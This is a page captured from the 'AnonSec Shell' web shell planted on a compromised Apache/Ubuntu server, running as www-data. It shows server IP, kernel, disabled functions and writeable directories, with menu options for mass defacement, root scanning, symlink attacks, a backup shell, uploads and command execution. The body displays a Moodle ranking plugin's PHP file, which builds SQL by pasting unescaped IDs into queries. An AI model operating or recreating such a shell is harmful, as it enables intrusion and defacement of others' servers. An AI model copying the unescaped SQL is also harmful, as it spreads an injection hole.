AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.217.0   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/avanza-lms.old.bak9874115/blocks/ranking_didactic/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/avanza-lms.old.bak9874115/blocks/ranking_didactic/lib.php
<?php
// Este codigo le pertenece a Escuela Didactica <https://escueladidactica.com>
//
// Construimos procesos de transformación para empresas donde sus 
// colaboradores se capaciten con el conocimiento de su empresa 
// mediante experiencias educativas digitales.
//

/**
 *
 * @package		block_ranking_didactic
 * @copyright	2019 Jose Gomez <info@escueladidactica.com>
 * @license		http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

defined('MOODLE_INTERNAL') || die();

//Funcion que consulta notas y pone puntos para el ranking, ademas de entregar un objeto JSON ordenado con todos los datos
function get_ranking_users($courseid, $limit=13){
	global $DB, $CFG;

	$sql="SELECT DISTINCT u.id,u.username,
			u.firstname as nombre,
			u.lastname as apellidos,
			u.email as correo,
			COALESCE( (SELECT sum(round((gr.finalgrade*7)) )
			FROM mdl_grade_items i
				JOIN mdl_grade_grades gr ON (i.id =gr.itemid)
			WHERE i.courseid=c.id
				AND (i.itemmodule='quiz'
				OR i.itemmodule='workshop'
				OR i.itemmodule='lesson'
				OR i.itemmodule='data'
				OR i.itemtype='manual'
				OR i.itemtype='assign'
				OR i.itemtype='scorm'
				OR i.itemtype='hvp')
				AND gr.userid=u.id
				),0) as puntos,
				COALESCE(
					(SELECT AVG(MINUTE(time(FROM_UNIXTIME(qa.timefinish) - FROM_UNIXTIME(qa.timestart)))) promedio_tiempo_quiz
					FROM mdl_quiz quiz, mdl_quiz_attempts qa, mdl_course mc, mdl_user us, mdl_quiz_grades grade
					WHERE qa.quiz = grade.quiz
					AND qa.userid = grade.userid
					AND qa.quiz = quiz.id
					AND qa.userid = us.id
					AND us.id = grade.userid
					AND quiz.course=mc.id
					AND mc.id = {$courseid}
					AND us.id= u.id
					),9999999) as tiempo_empleado
					FROM mdl_user u
					JOIN mdl_role_assignments s on(u.id= s.userid)
					JOIN mdl_role r on(r.id=s.roleid)
					JOIN mdl_context ct on (ct.id=s.contextid AND ct.contextlevel=50)
					JOIN mdl_course c ON(c.id=ct.instanceid)
		WHERE c.id= {$courseid}
		AND r.id=5
		ORDER BY puntos DESC, tiempo_empleado
		LIMIT ".$limit;

	$sql = str_replace('mdl_', $CFG->prefix, $sql);

    $users_ranking = $DB->get_records_sql($sql);

    $JSON_data = "";
    if($users_ranking){
    	$indice = 1;
    	foreach ($users_ranking as $key => $usuario) {
    		$users_ranking[$key]->getImagenPerfil = get_imagen_perfil($usuario->id,'f1');
    		$users_ranking[$key]->puntos = round($usuario->puntos,0);
    		$users_ranking[$key]->wwwroot = $CFG->wwwroot;
			$users_ranking[$key]->courseid = $courseid;
			$users_ranking[$key]->indice = $indice;
			$indice++;
    	}
    	$JSON_data = json_encode($users_ranking);
    }
    else{
    	$JSON_data = "{data:'no hay datos de usuarios'}";
    }
    return $JSON_data;
}

//Funcion que devuelve la imagen del perfil de un usuario
function get_imagen_perfil($userid,$size='f1'){
    global $DB, $CFG;

    $imagen=$CFG->wwwroot."/theme/image.php?theme=".$CFG->theme."&component=core&image=u%2F".$size;

    $sql1 = "SELECT c.id as contextid,u.picture
		FROM mdl_user u
		JOIN mdl_context c ON (c.instanceid=u.id and c.contextlevel=30)
		WHERE u.id = ".$userid;

	$sql1 = str_replace('mdl_', $CFG->prefix, $sql1);
    $result= $DB->get_records_sql($sql1);

    if(!empty($result)){
        foreach($result as $res){
            if( $res->picture <> 0){
              $imagen = $CFG->wwwroot."/pluginfile.php/".$res->contextid."/user/icon/".$size;
            }
        }
    }

    return $imagen;
}

//Ordena los datos para los ciclos que corren dentro del template mustache
function order_data_for_template($data){
	$data = json_decode($data);
	$array_datos = array();
	$contador = 1;
	if(isset($data)){
		foreach ($data as $key => $value) {
			if($contador <= 3){
				$objeto = array("winner" => $value);
			}
			else{
				$objeto = array("loser" => $value);
			}
			array_push($array_datos, $objeto);
			$contador++;
		}
	}
    return $array_datos;
}


Anon7 - 2022
AnonSec Team